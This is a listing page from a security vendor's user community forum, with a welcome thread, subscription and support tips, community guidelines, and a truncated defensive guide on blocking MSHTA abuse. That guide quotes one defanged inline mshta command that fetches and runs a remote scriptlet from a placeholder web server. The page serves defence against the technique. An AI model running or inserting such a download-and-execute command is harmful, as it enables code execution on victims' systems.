Community Guide

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idant
Community Manager
idantCommunity Manager
posted in Community Guide

Welcome and introductions

Hi everyone and welcome to Cymulate Hub! My name is Idan and I’m a Product Community Manager here at Cymulate 👋It's our pleasure to share this space with all of you - Cymulate users, fans, and partners - so that we can collaborate, share knowledge, and network with each other.We'd like you to first introduce yourself in the thread below, tell us a little about yourself, where you work, what role you play, and how you use Cymulate 🔴 🟣 🔵. Let's get to know each other a bit better!  

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dan_lisichkin
Employee
1 year ago
idant
Community Manager
idantCommunity Manager
published in Community Guide

How to subscribe?Tutorial

How to subscribe to threads and sub-forumsStaying up-to-date on what interests you is easiest if you subscribe to the community. You can always stay informed. Here's how:Subscribing to threads, discussions, questions, and ideasTo subscribe to a thread simply scroll to the bottom of the author’s post, and click on the star. Once you’ve done this, you’ll be notified via email each time that this thread has been updated with a new reply.Subscribing to sub-forumsYou can subscribe to a sub-forum if you find a particular area of the community particularly interesting. To subscribe, simply click on the 'Subscribe' link on the top right of the page. As soon as you do so, you'll receive email notifications of any new discussion posted in this area of the community.  

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idant
Community Manager
1 year ago
idant
Community Manager
idantCommunity Manager
published in Community Guide

Do I need to contact Cymulate's Support team or ask the community?

Hey there As you all know, Cymulate Hub is the place where all Cymulate users can connect, share knowledge and expertise, and get inspired. Here, you can get help from your fellow community members and contribute your expertise to help someone else. We encourage employees of Cymulate to participate in certain discussions, though they are not primarily responding, as we want everyone to learn from each other. Cymulate Customer Support team can provide help with issues (billing questions, technical questions, features, etc.) and any other issues. To find more information, please consult the Help Center or contact the Customer Support team.If you've already submitted a ticket, don't duplicate the question in the community. And vice versa, if you've already submitted a community post, don't submit a support request. Keeping our conversation in one place will make it more convenient for both of us.We are so happy to have you here! Thank you for your understanding 

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idant
Community Manager
1 year ago
idant
Community Manager
idantCommunity Manager
posted in Community Guide

New here? Start here with 5 quick tips!

 Thank you for joining our community! Let me help you get started with 5 quick tips:  1. Personalize your profile Go to your profile settings and tell us all about you. You can add: A profile picture. Your country of origin.  A signature that will be displayed at the bottom of all of your posts. 2. Don't be afraid to askIf you have a question or wish to start a discussion - that's why you're here, right? Do not hesitate to ask for clarification if you find the reply too technical or complicated. 3. Search before you start a new topicIt's possible that someone has asked the same question before. Use the search bar at the top of every page to quickly search in the community before you start a new question or discussion. If you can’t find the information that you’re looking for, go ahead and create a new topic.  4. Be detailed when you describe your question / issueWhen you have a question or information to share, include as much information as possible in the original post.  5. Be pa

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idant
Community Manager
1 year ago
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daniel_gomes
posted in Community Guide

How to use mitigation steps to block MSHTA execution scenarios

In this article I will describe how you can use Cymulate's mitigation recommendations to effectively restrict certain attack techniques from occurring in your environment, as recently a lot of questions have arisen involving the use of MSHTA and how to block it I decided to create this quick guide that can be applied in any environment.MSHTA Technique Context:Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. Files may be executed by mshta.exe through an inline script: mshtavbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) They may

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2 months ago
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leandro_catarina
posted in Community Guide

How to use mitigation steps to block MSHTA execution scenarios

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2 months ago
idant
Community Manager
idantCommunity Manager
published in Community Guide

Community Guidelines

Welcome to the Cymulate Community! We are happy to have you here! We are here to create a space where Cymulate users can share knowledge, learn, collaborate and connect with one another. In addition to explaining how to act within the community, these Community Guidelines should explain what you can expect from others within the community. Your participation here is subject to these Guidelines and our Terms of Use. Please be respectful and friendlyWe understand that sometimes you may have concerns or issues, but please ensure that you keep things polite and considerate. We’ll do our best to ensure you get the information that you need. Engage with the Community While our moderators will post helpful content, we really want to hear from you! Look around and, if you see a place where you can add your voice and expertise to an existing conversation, or if you want to start your own topic, please do so.  Search First Ask SecondWe’ve got a lot of experts in all areas in this community who a

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idant
Community Manager
1 year ago

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